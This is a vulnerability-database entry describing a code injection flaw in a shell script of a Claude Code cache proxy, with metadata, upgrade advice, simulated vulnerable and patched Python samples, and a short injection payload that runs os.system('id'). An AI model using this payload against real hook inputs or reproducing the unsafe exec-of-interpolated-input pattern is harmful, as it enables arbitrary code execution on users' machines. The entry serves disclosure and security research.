CVE-2026-45136
Code injection in quota-statusline.sh via a crafted hook stdin payload.
- CVSS 8.6
- CWE-78
- Input Validation and Sanitization
- Local
claude-code-cache-fix is a cache optimization proxy for Claude Code. From 3.5.0 to before 3.5.2, tools/quota-statusline.sh (introduced in v3.5.0) interpolates Claude Code's hook stdin payload directly into a Python triple-quoted string literal. A ''' byte sequence in any user-controlled field of the payload closes the literal early and lets following bytes execute as Python in the user's Claude Code process. This vulnerability is fixed in 3.5.2.
- CWE
- CWE-78
- CVSS base score
- 8.6
- Published
- 2026-05-27
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- claude-code-
- Fixed by upgrading
- Yes
Solution
Upgrade claude-code-cache-fix to version 3.5.2 or later.
Vulnerable code sample
import os
# This represents the malicious payload read from stdin by the vulnerable script.
# It contains a ''' sequence to close the string literal prematurely, followed
# by code to be executed.
malicious_stdin_payload = """'
import os
os.system('echo "VULNERABILITY TRIGGERED: Arbitrary code was executed"')
# The rest of the original string is now a comment.
'''"""
# This simulates the vulnerable script's logic, which dynamically creates
# another Python script as a string using the input from stdin.
vulnerable_generated_script_string = f"""
def display_status(info_data):
# This function is intended to display some status info.
print("--- Quota Status ---")
print(info_data)
print("--------------------")
# The user-controlled payload from stdin is directly and unsafely interpolated
# into a triple-quoted string literal.
user_info = '''{malicious_stdin_payload}'''
display_status(user_info)
"""
# In the actual vulnerability, the shell script would pipe this generated
# string to a Python interpreter for execution.
# We use exec() here to simulate that final execution step.
exec(vulnerable_generated_script_string)Patched code sample
import sys
# The fix is to read the raw payload from standard input, treating it as
# pure data, rather than interpolating it into a multiline string literal
# in a generated script. This prevents any sequence of characters in the
# payload from being interpreted as Python code.
raw_payload = sys.stdin.read()
# The 'raw_payload' variable now holds the user input as a string.
# It can be safely processed without risk of code execution. For example,
# it could be parsed as JSON or used in other data-handling logic.
print(f"Successfully received and processing payload of size: {len(raw_payload)}")Payload
'''
import os; os.system('id')
#
Cite this entry
@misc{vaitp:cve202645136,
title = {{Code injection in quota-statusline.sh via a crafted hook stdin payload.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-45136},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45136/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
